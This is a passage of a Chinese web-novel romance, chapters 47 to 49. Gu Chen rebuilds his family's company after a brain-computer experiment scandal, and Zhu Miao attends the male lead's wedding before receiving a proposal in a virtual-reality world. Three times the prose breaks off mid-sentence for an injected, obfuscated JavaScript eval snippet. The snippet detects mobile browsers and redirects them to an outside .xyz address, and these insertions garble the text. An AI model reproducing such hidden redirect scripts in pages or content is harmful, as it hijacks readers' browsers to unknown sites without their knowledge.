她过去害怕他这般热切浓烈的爱意，可是如今，她却觉得有一个人这样满心满意装着自己，相互信任，是一件足够幸运才能遇到的事。 祝渺翻身下床，抽出了一封信。这是顾忱在决定进入脑机世界之前留下的，据秦洛锁说，这是他留给祝召年的信。 可是祝召年甚至不知道他们俩在大学谈恋爱的事情，她还没来得及带她回去见家长呢……所以，他给她爸爸会写什么信？她十分好奇。 顾忱有些无奈，但还是没有阻止她打开信件。 他写了： 【您好，叔叔 感谢您将渺渺带到这个世界上，我却没能保护好她，对不起。 我会不遗余力地将渺渺重新找回来，这个过程或许将十分漫长，可请您务必充满希望……如若我失败了，我也将和渺渺一起沉睡……您放心，渺渺永远不会是一个人，我会在另一个世界陪着她，永远保护她……】 他洋洋洒洒写了许多，甚至在信封里放了一张银行卡，里面是一笔巨额存款。 祝渺的心里越发泛酸。 她从来没想过，顾忱这样一个从小到大与阴鸷、孤僻等词相伴的人，竟然有一天会将她的父亲的事考虑得这么细致。 幸好，这封信还没有机会被送出去。 他们都平安回来了。 祝渺把信收起来，然后看着顾忱： “今年过年，我们一起回家，好不好？” 顾忱眼带笑意：“好。” 47. 第 47 章 从医院出来的时候，顾忱的身体已经恢复得差不多了，就连他之前疼痛的后遗症也缓和了很多。 许博士告诉他，实际上当初顾凛让他使用的脑机，是实验最成功的一台，所以除了产生头疼的后遗症之外，对他的身体没有产生什么影响。 顾忱把顾凛的事情告诉了祝渺，他们还一起去医院看了顾凛。 顾凛用自己进行了多次实验，病症早已无法逆转，因此这次晕过去，竟是彻底晕了过去，可以算是成为了植物人……也算是，恶有恶报了吧。 当时祝渺失踪后，顾忱就已经将实验数据尽数提供给了祝渺的领导周舟姐。他告诉了周舟祝渺可能暂时回不来这件事，于是之后相关新闻报道的发布，都是周舟姐一手安排的。 尽管周舟姐之前并不同意祝渺独自深入调查这件事，但她依然是支持和欣赏祝渺的。因此知道祝渺可能遇害后，她才会毫不犹豫选择了发布报道，揭露顾凛的脑机实验，并且也附上了祝渺的署名 ——这本就都是祝渺的调查成果。 祝渺上网看了看，这个报道引起的关注比她想象中的规模还要大。 而造成轰动的其中一个原因，是本文男主角张铭生推波助澜造成的影响。这让祝渺感到有些惊奇。 她采访过张铭生，之后就和张铭生保持良好的社交，男主角可是这个世界的气运之子，和男主角交好总不是什么坏事。 因此他们关系一向不错，张铭生也特别支持和欣赏祝渺写的文章，因此这次祝渺的报道一经发布，他就第一时间帮忙转发了这篇报道。 要知道，张铭生现在可已经成为影帝了！这一下子，这篇报道直接传到了各个圈层的眼里。 他们从昏迷到醒来已经过去一个多月了，这个事件依然在被人广泛讨论着，并且挖出了更多关于顾凛在幕后所做的事情。 这些年，顾凛接手过不少产业项目，涉猎了不少行业，当初称赞他多么年少有为，如今都纷纷斥责他多么自私狭隘、狼子野心。 顾氏所有产业一时间处于风口浪尖，风雨飘摇。 顾知山，也就是顾忱的亲生父亲，也就是在这个时候来找顾忱的。 顾忱和祝渺的公寓。 门铃忽然响起，顾忱打开门，就见到了顾知山。 顾忱脸色并不好：“你来这里做什么？” 自从母亲过世之后，顾忱就一直被继母明里暗里虐待，顾知山一直偏心顾凛，因此他们一向关系不好。 他不想邀请他进入自己的私人领域。 就在几天之前，他们已经在医院见过一次。顾忱和祝渺去医院看顾凛时，恰好遇到了顾知山。 祝渺印象里的顾知山，还是在很多年前，她是个小孩子的时候，她眼中的“顾叔叔”是个意气风发的中年男人，高高在上地俯视她，眉间自带在商场上驰骋依久了的狠厉，不怒自威。 可是如今，他才刚满五十岁，就已经面露沧桑，眼角多了不少皱纹，头发有些花白，身形也佝偻了不少。 据说他现在的妻子，也就是顾凛的亲生母亲，知道了顾凛的事情后，已经晕了过去。却不是因为担心顾凛而晕，而是因为顾凛没了、顾氏也遇到危机了而晕过去。 因此来的只有顾知山一个人。 他还是满心满意看着病床上昏迷的顾凛，就连顾忱和祝渺走进病房，他都没有注意到。 祝渺轻轻拉住了顾忱的手，安抚地捏了捏。顾忱也握了握她的指尖，以示回应。 过了半晌，顾知山抬头看到了顾忱，讶异转瞬即逝。或许是没想到他们会来探望顾凛。 他走到顾忱身边，动了动唇，许久没有说话，半晌才嗫嚅着开口说了一句：“过去，是我对不起你。” 他已经知道了顾凛的所作所为，包括害顾忱和祝渺的事。 可是“对不起”这三个字，对顾忱来说，已经没有什么用了。 再次见面就是现在，顾知山主动来找顾忱。 顾忱语气冰冷：“这里并不是很欢迎你。” 顾知山神色凝重：“顾氏现在很危险，我已经年纪大了，没有回天之力，之后顾氏就只能交给你了。” 他拿出公司的公章，还有一叠文件和资料，亲手递给了顾忱。虽然让顾忱进了顾氏，但他依然把所有重要的事务都交给顾凛，从来没有重视过顾忱这个儿子。 顾忱冷静地接过文件：“还有事吗？” 顾知山犹豫，正当顾忱想要关门之际，顾知山道：“我对不起你，也对不起你母亲，可我知道已经晚了。我现在只希望你能过得好……我说的是真心的。” 顾忱没有什么犹豫：“知道了。” 说完，他就关上了门。 祝渺走过来，从背后环抱住他的腰。 他转过身来回抱祝渺：“我没事的，不用这么担心我，你知道的，我这个人没有什么心，能装的人和事情不多。” 心中所有的空间，都留给你了。 可祝渺知道，他已经不是过去那个不懂人间冷暖的孩子了。 该伤心的时候，也是可以伤心的。 原剧情里，顾忱是靠自己狠厉的手段才得到了顾氏，可是如今，确实顾知山主动把顾氏交到了顾忱手中。 祝渺想，这或许也已经是个最好的结局。 不久后，所有的脑机设备回收，针对脑机实验流程存在的疏漏，顾忱将所有参与实验并存在问题的人一一查处并解决。 面临巨额的罚款，振聋发聩的患者声讨，顾氏也全部予以最高赔偿。 并且在不久后，顾忱以最快的速度，带领研发团队研制出了治疗后遗症的药物。 这才逐渐平息了舆论的风暴。 所谓不破不立。 顾忱出面解决了许多公关问题，在公司内部砍了所有顾凛留下的存在问题的业务线。 顾忱年纪轻轻，从开始的不被人看好，逐渐靠着雷霆般果断的决策，有了一批信任自己的下属。 顾氏也终于慢慢从风雨飘摇的动荡之中，重新站了起来，以新的姿态重新回到了人们的视野。 … 两年后，顾氏新品发布会。 祝渺作为电视台的记者出席现场，看着台上在聚光灯下运筹帷幄的顾忱。 “接下来进入自由采访环节。”主持人道，“各位记者，有什么想要问顾总的吗？” 顾忱扫视下方一圈，直接把目光落在了祝渺身上。 顾忱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15712735|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“华东电视台的记者，您好。”十分疏离和客气。 周围的目光都落在了祝渺身上。 祝渺立刻起身：“顾总，请问不久前顾氏经历那样一场磨难，是什么支撑着您走到现在呢？”同样的十分语气疏离和客气， 顾忱挑眉：“这位记者，想听官方回答，还是想听私人回答？” 祝渺也跟着挑眉：“可以请您都回答一下吗？” 顾忱沉声：“官方回答是，顾氏根基深厚，能够发展至今，靠的是面对错误时能够当机立断地反思和修正，以及雄厚的实力和绝对的底气。” 祝渺：“那私人回答呢？” 顾忱：“想和女朋友回家过个好年，得到她父亲的认可。” 他说这话时，语气正义凌然，十分严肃正经，仿佛就是在说一个“官方回答”。 全场的记者都差点没反应过来，这是顾总嘴里说出来的话。 然后下一瞬，全场就沸腾了起来。 记者甲：“您今年不过二十四岁，被称为行业内最年轻的领导者，还会怕岳父不认可你吗？” ——“当然会怕。” 记者乙：“您近期是有结婚的打算吗？是赶潮流追求英年早婚吗？” ——“是有这个打算，不过还是要看她的意见。” 记者丙：“方便透露您的女朋友是哪位吗？” ——“不太方便，婚礼时你们就见到了。” …… 现场记者热热闹闹仿佛过年催婚的三姑六婆，开始追问顾总的个人感情相关事宜。 非常出乎意料，又在情理之中的是，这场发布会一经流出，就受到了诸多关注。 其中不乏有些把顾忱当偶像崇拜的年轻女生们： “顾总居然有女朋友了？” “顾总年纪比我还小，居然这样事业爱情双丰收，也太令人不平衡了吧……” “想知道顾总的女朋友到底是谁” 更多的是被热.搜吸引进来看顾氏的新品的。 毕竟顾氏刚刚从风口浪尖重获新生，还是有许多人对顾氏抱着抵制和不信任的状态。 不过所幸，这场新品发布并非医疗行业，而是其他尖端科技制造业，并未遭到太多的抨击。 许多路过的群众一点开，就会发现，顾氏研发的新产品……确实有点东西。 一场成功的发布会，也伴随着成功的营销成果。 祝渺再见翻看着经济领域最新的杂志，杂志封面正好就是某人帅气的身形。 而这个在商务杂志上看起来一丝不苟西装革履的青年，正老老实实穿着休闲服系着可爱的粉蓝色围裙，在厨房里团团转。 祝渺拿着杂志幽幽路过，又幽幽开口： “顾总不愧是顾总，以身入局，促成了一场成功的营销，真是好手段啊……” 听出了她的阴阳怪气，顾忱登时警铃大作。 立刻丢下了锅铲，认真看着祝渺：“我没有营销，我每一句话都是真心话。” “哦，每一句是哪句？” “想和女朋友回家过个好年，还有……” “还有什么？” “想英年早婚。”他眼神炙热。 48. 第 48 章 祝渺：…… 祝渺拿出手机翻了翻，故作吃醋道：“那你的小迷妹们会伤心的哟。” “什么小迷妹？” 祝渺亮出屏幕：“网上都有你的应援会了。” 顾忱皱眉：“我马上让人去公关。” 他就要举起手机打电话联系公司的人，祝渺立刻阻止他。 “不至于，不至于。” “不行，你会不高兴的。”顾忱态度坚决地表衷心。 祝渺摸了摸鼻子，悻悻道：“哦……我不会的，因为，我也有。” 顾忱疑惑：“有什么？” “呃……有个应援会。” 顾忱：？ 祝渺把手机拿给他看，赫然几个大字在屏幕上亮着：【渺渺粉丝军团】 粉丝甲：“我们渺渺真是太棒了，又漂亮又优秀！” 粉丝乙：“我原来只有新闻理想，现在开始，渺渺加新闻学就是我的理想了！” 粉丝丙：“这里我要说一句，渺渺是国民女神，不过分吧？” 粉丝丁：“支持！支持楼上！” …… 看完粉丝评论，顾忱的脸色肉眼可见地，黑了。 这件事要说到两年之前。 顾凛团队研发的脑机后遗症事件被曝光，祝渺搜集资料和发布的报道引起了舆论一片哗然。 之后，此事在顾忱的解决下，医疗业务全部除了个干净，事件也终于顺利平息。大众的视野便从报道内容上，逐渐关注到报道的写作、撰稿人身上。 “这篇报道环环相扣，有深度，有内容，有思想，有案例，采访内容也非常有效和真实，这简直就是新闻标杆啊，建议将这篇文章加入新闻学教案作为经典案例。” ——一位新闻学教授在网上如是评价。 于是，立刻引起了各大院校新闻系师生的关注。 “记者、编辑都是同一个人诶，叫祝渺。” “我知道祝渺，是江州大学还没有毕业的学生，不过拿到了华东电视台的offer，理论上还是一个实习生。” “什么？！实习生？居然能写出这样水平的文章？！” …… ——到此为止，祝渺的在新闻领域有了一席之地。 而真正的火，是在大约一年前。 祝渺已经毕业大半年，成为了华东电视台真正的记者。 她做了一个选题，是采访传统文化非遗领域的继承者们，她的采访视频被电视台官方账号发布在了视频平台上。 不出一个月，这个系列的采访视频就在平台大火，引起了众多网友的关注。 而视频中的祝渺也是吸引大家眼球的重要因素。 她在视频中，为了配合传统文化元素，时常一身古风装扮，更加衬托出她精致的面容和气质。 除了她的外表，观众还会被她的行为所吸引。 她为了真切地描绘和介绍非遗文化，经常自己亲身体验和学习，并且她学得还很快很好。 比如古琴、绣艺、制茶……等等，她都能飞快带大家身临其境感受其美好。 很快就帮他们电视台官号吸引了一大波流量和粉丝。 没多久，就有新闻专业的同学查到了她的资料，发现她就是当年那个还在实习就写出了载入教案的报道的记者。 这下，观众们更加喜欢祝渺了。 当时祝渺没有想到自己做的选题会大火，也没想到自己会受到这么多喜爱和关注。 不过她并没有打算当“网红”，依然想安安心心做自己想做的选题和工作。 只是没想到……她的采访、撰稿，总是时不时就被大家关注到，然后，她的粉丝莫名其妙越发多了。 直到今天，她突然发现，自己有了个……后援会？ 这令她哭笑不得。 看着顾忱阴沉的脸色，祝渺拍拍他的肩。 “很好，这样我们就都是有后援会的人了，顾同学，以后我们一定要相互监督，严于律己，谨言慎行啊。” 顾忱：“……” 突然一下子乌云散去，实在是阴沉不起来了。 “叮咚——”突然一声消息提示音。 祝渺看了眼手机屏，发现她的“后援会”加入了一名粉丝。 加入了新人不奇怪，但是他的加入瞬间激起了千层浪花。 因为加入的人正是当今正红的影帝——张铭生。 张铭生：“大家别惊讶，我也和大家一样，是祝渺多年的老粉了！” 这下看到张铭生评论的顾忱又瞬间“乌云密布”了起来。 祝渺急忙驱散乌云：“冷静，人家是有女朋友的！” “你怎么知道？”顾忱显然不信。 祝渺心想，你当然不知道了，人家的女朋友可是本文女主呢！ 事实上，张铭生的确和原剧情一样，顺利和原女主邱月在一起了，只不过现在俩人还是未公开恋爱的阶段呢。 祝渺：“娱乐圈的事情少打听，人家现在还不想公开呢！” 顾忱“哼”了一声，总算是没有再说什么。 就在他们讨论完这件事没过多久后，张铭生和邱月两个人就在网上官宣了。 而且还是以直接爆结婚证的方式官宣的。 这下又是一阵舆论哗然，不过由于张铭生是影帝级别的实力派，所以粉丝们大多是理智支持。 顾忱看着二人的官宣帖子陷入了沉思。 祝渺凑过来：“怎么了？” 想什么呢这么入神？ 顾忱露出了羡慕的眼神，然后冷不丁道：“渺渺，我们也官宣一个吧。” 祝渺：？ 祝渺：“我们又不是明星？” 虽然有两个所谓的应援粉丝团，但是总归不是真的把自己当明星了吧。 顾忱不满：“我不是这个意思。” 祝渺再次打出一个：？ 顾忱放大了他们晒出的结婚照。 “我想要的，是这个。” 祝渺恍然大悟，原来他是想……英年早婚啊。 脸颊微微有点发烫，她倒是也没有不愿意啦，可是…… “你连求婚都没有哦，我怎么知道要不要嫁给你？” 顾忱怔忡了一瞬，猛然惊觉自己原来漏掉了这么重要的一步。 他其实早早就已经想好了这一步，戒指也给她买了，是一枚高价拍卖得来的独一无二的设计款钻戒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724915|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 连他们的婚房，他也早早开始准备了——至于这个公寓，已经渐渐不够大了，于是他想留着给他们作为纪念就好。 这才发现，原来他还没有一次正式地问过她，愿不愿意嫁给自己呢。 然而此刻……好像并不是一个好时机。 顾忱惆怅地闭上了眼，险些一夜无眠。== * 就在张铭生和邱月官宣没多久后，祝渺收到了张铭生发来的婚礼请柬。 祝渺有些惊奇，但是欣然接受了邀请。 张铭生是知名的演员，邱月则是一名心理治疗师。 在原文里，张铭生在拍戏时受了伤，产生了一些心理创伤，于是来到了邱月的诊所进行诊疗，就这么诊疗着诊疗着，就处出了感情。 中间因为祝渺逃跑被张铭生救下，顾忱又找到祝渺把人抓回去，并且算计暗害张铭生，二人的感情历程多了一些小波折，让一本原来是小甜文的书硬是变成了四不像。 祝渺当时就怀疑作者纯粹是为了水字数才加了自己和顾忱两个人物。 如今，没有祝渺和顾忱的干扰，他们倒是更加顺利地走到了一起，成就了甜甜的大结局。 祝渺心想：真好，大家都能有圆满的结局。 自从张铭生官宣后，就有许多观众和记者在关注他们两个，但他们并不想引起太多的关注，因此邀请的人并不多，都是关系好的朋友。 这天祝渺找了一套适合婚礼穿的风格清新的浅色长裙穿上，回头问顾忱：“这套衣服怎么样？” 顾忱道：“都很好看。” 祝渺撇嘴，不满：“你只会说都好看。” 顾忱：“……因为真的都很好看。”他才没有敷衍，也没有说谎。 祝渺这才满意地点了点头。 俩人一起来到他们举办婚礼的酒店，虽说因为是热度非常高的公众人物，所以选择了低调办婚礼，但婚礼现场依然布置得十分华丽。 张铭生和邱月并没有在门口露脸，而是在后台准备，祝渺为表礼貌，就带着顾忱去打了个招呼。 这是祝渺第一次见到本文女主邱月，是一个长相明丽、气质清冷的大美人。 而且大概因为是心理诊疗师的职业形象带来的印象，所以祝渺觉得她的目光看起来有种智慧清醒的明亮。 然而下一秒，邱月就露出了一个甜甜的明媚的笑容，语气略微有些激动。 “渺渺！我今天终于见到你本人了！” 祝渺：……嗯？怎么她的感觉好像不太对？ 邱月接着道：“我是你的粉丝！我特别喜欢你的非遗文化系列的视频，我还特别喜欢你写的文章，我还一直想让铭生介绍你给我认识呢！但是又怕打扰到你！” 祝渺：⊙▽⊙ 女主居然成为了她的粉丝？！ 祝渺短暂惊讶了一下。 邱月激动地想上前来拥抱一下她，祝渺有些不好意思，也回以了一个拥抱。 抱完了祝渺，邱月一抬头，就看到了身后默默站着的顾忱。顾忱正面无表情眼神淡淡地看着她的动作，似乎是有种想把她从祝渺怀里分开的冲动。 邱月：……分明是面无表情，怎么总感觉凉飕飕的呢。 49. 第 49 章 祝渺注意到，邱月见到顾忱的一瞬间，似乎神色有些古怪，她心头一紧张。 难道是邱月的职业习惯，敏锐地察觉到了顾忱的一些异常？ 说起来原文里，顾忱来抓祝渺回去时，也和邱月有过交集，邱月当时就判断出了顾忱的天生具备的心理缺陷，然后书里就从她的口中阐述了顾忱的问题和缺陷。 最后也是从主角视角阐述了原文祝渺的悲惨结局，更加突出了顾忱这个反派的不正常。 但是……不应该呀，如今的顾忱已经十分正常了，医生也判断过，他基本已经康复，情绪和精神出现问题的情况几乎没有了。 正在祝渺胡思乱想之时，邱月看着顾忱点了点头，一本正经地打招呼：“顾先生，又见面了，你好。” 顾忱点了点头，以示回应。 祝渺惊奇：“你们之前认识？” 顾忱：“见过，我去过邱医生的心理诊疗室。” 祝渺思索片刻还是追问道：“你是去做心理诊疗？” 邱月大概是担心祝渺误会了什么，赶紧解释道：“是做心理和精神状态测评。渺渺你放心，顾先生现在的状态非常良好，他早就已经痊愈了。” 对于她说的这一点，祝渺从来没有抱有过怀疑。 她笑了笑，“我知道，我一直都知道。” 和顾忱的日常相处之中，她能感受得到。 差点以为自己破坏了祝渺和顾忱感情的邱月这才松了口气。 婚礼如期进行，祝渺和顾忱递上了两个大红包后，就找到了自己的席位坐下了。 不过祝渺敏觉得顾忱此刻似乎有些低气压。 以祝渺这些年的经验来说，通常顾忱低气压都是因为吃醋。比如她和男主张铭生关系不错，她追张铭生演的电影电视剧大夸人家演技好时，他就会暗暗不爽。 可是今天，他有什么醋好吃的？ 祝渺回想了一下，难道是因为刚才邱月抱了自己一下？不会吧，人家可是个女孩子诶，还是今天的新娘…… 要是这也吃醋，那他岂不是又犯病了。-- 算了，直接问吧！ 祝渺：“你是不是不太高兴？” 顾忱眼底闪过一丝讶异：“你怎么知道？” “你现在的情绪神态变化，我可是已经拿捏得透透的了。” “……好吧。”她总是这么了解自己。 “嗯……所以你在不高兴什么？”她怎么也想不明白。 顾忱郁闷开口： “我在想，明明还是我们更早在一起，为什么他们婚礼办得更早？” “……”属实没想到是郁闷在这个方向。 其实若是生活一切顺利的话，或许他们也会是一手毕业证一手结婚照的知名校园情侣。可是脑机事件导致了太多事，需要他们花时间去处理，也需要时间平息一切风暴。 如今一切都回归到井然有序，他们的事业生活都逐渐稳定，可顾忱还是会觉得很遗憾，遗憾没能第一时间向她表明自己的承诺和决心…… 其实，她从来没觉得晚。他们才二十四五岁，正是风华正茂之时，生活对他们还是非常仁慈的，不是吗？ 她轻轻把手放在了顾忱的手上，回以顾忱一个坚定的眼神。顾忱明白她的意思，也微微露出笑意。 “有请新人入场！”主持人的声音打断了二人的对视。 祝渺的目光回到婚礼现场。 整个现场都是星空顶，璀璨华丽，新娘新郎共同出现的一瞬，祝渺也被惊艳到了。 不愧是本书男女主，放在一块还真是养眼。 仪式开始，新郎新娘相遇相知的故事呈现在大家面前，然后二人宣誓，亲吻…… 整个婚礼现场都冒着甜蜜的气泡。 祝渺都有点被这样的氛围打动了。 从婚礼上回去后，祝渺因为喝了一点酒，有些微醺。她的酒量不算特别好，平时不喝，但顾忱在的时候她就会忍不住浅酌几杯。 这一不小心……就会酌得多了几口。 顾忱把车子开到家里时，她已经在副驾驶基本晕过去了。 顾忱走到副驾驶旁边，解开安全带，把她从车位上一把捞起来。 祝渺晕乎乎的意识回笼：“到家了？” “是啊。” 顾忱一路将她抱回卧室，将她轻放在床上，然后轻声喊了她两声，说了几句话。 然后祝渺迷糊地回应了两句。 第二天，祝渺再醒来的时候，已经全然不记得他当时说了什么。 于是她追着顾忱问：“所以昨晚你到底说了什么？” 顾忱把早餐放在她面前。 “昨晚，我问你愿不愿意嫁给我，你说你愿意。” 祝渺：？？？ “哪有人这样求婚的，你这是耍赖皮！” “反正你已经答应我了。” “不行，不算，你再说一次。” “不。”顾忱直接表示拒绝。 祝渺眨巴眨巴眼。顾忱居然会拒绝自己，真是稀罕！ 在祝渺的死缠烂打下，顾忱也不愿意再说一次，对此祝渺十分不满，气得一整天也没和他说话。 直到下午，顾忱抱了两个大箱子回家。 “这是什么？” “打开看看。” 顾忱拿出两台设备，不由得让祝渺想起曾经他搬来脑机试图威胁自己进虚拟世界生活这件事。 “所以……这是最新版的脑机设备？” “嗯……你也可以这么理解。”顾忱道。 脑机说白了就是一种脑神经网络技术，这两年顾忱利用了之前的研发成果，将其应用到了不同的行业与领域。 想必这也是其中一项产品。 “这其实类似全息游戏，但体感完全不一样，这会让人更加的……身临其境。并且操作上也简便很多。”顾忱解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739129|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释。 这让祝渺产生了好奇，毕竟她的心底里还是保留着当初那个宅家玩游戏的冲浪少女呢。 顾忱给祝渺戴上设备，一瞬间，她就感觉自己进入了另一个世界。 她看了一眼四周环境，这是在……他们曾经在《口袋少年》那个游戏里去过的游乐场。 这和普通游戏设备很像，不一样的是，她在虚拟世界里的一切动作都不需要现实中的自己做任何动作。说白了，还是通过大脑链接系统，进入到另一个维度的世界。 并且也不再有之前那样沉睡晕倒都风险，她通过系统可以操作自如，比如想要退出，只需在意识世界点击一下系统的退出按钮，她的意识就可以回到现实中。 哇，这也太酷炫了！ 祝渺一下子兴奋起来，这难道就是元宇宙世界？ 这时，顾忱也进入到了这个世界，就站在她的面前。 二人都是现实中的样子，非常逼真，就连触摸拥抱也是。 顾忱拉上祝渺的手，“这是我按照《口袋少年》一比一进行复刻的世界，也是我记忆里生活了十年的世界，要和我一起去体验一下吗？” 祝渺猛猛点头。 当时她隔着手机屏幕，能看到的只有逼真的动画界面，看着小可怜顾忱从过山车上下来后的一脸痛苦。 嗯……现在却能切身实地看到顾忱一脸“痛苦面具”了。真是想想都兴奋呢。：D “走，我们去玩过山车吧！” 祝渺一脸激动。 顾忱果然面露难色。 “过山车……还没开发好，我们还是换一个吧。” 祝渺心里偷笑，没有揭穿他。 于是他们体验了许多游戏，结束时，顾忱拉着自己走到了露天大看台上。 “咻──”地一声长鸣，一簇绚丽的烟花直冲云霄，在空中四散开璀璨明丽的色彩。 “哇，是烟花！好漂亮啊！” 祝渺眼底倒映出瑰丽炫目的烟花色彩。 更多的烟花在空中炸开，这比现实中的更加华丽，震撼得令人说不出话。 祝渺一边看一边凑近顾忱耳边道：“这里的烟花好美，我们以后是不是就可以足不出户体验山川大河了？” 顾忱也凑近她耳边：“是可以，不仅有山川大河，甚至可以是宇宙星际，以后我都会带你去体验。只是这一次……我希望是在我们重逢的地方。” 祝渺觉得他好像话里有话，正心中生出些许疑惑时，他忽然一本正经了起来。 “渺渺，其实你喝醉那天，我偷偷问了你，你想要一个什么样的求婚和婚礼。” “你说，你想要看看那天游戏里的漫天烟火。” “所以，我为你带来了。” 他陡然单膝跪下，拿出一枚新的更闪亮的戒指。 “渺渺，能在这个世界和你相遇，是我黑暗命运里唯一带来光明的变数。你愿意嫁给我吗？”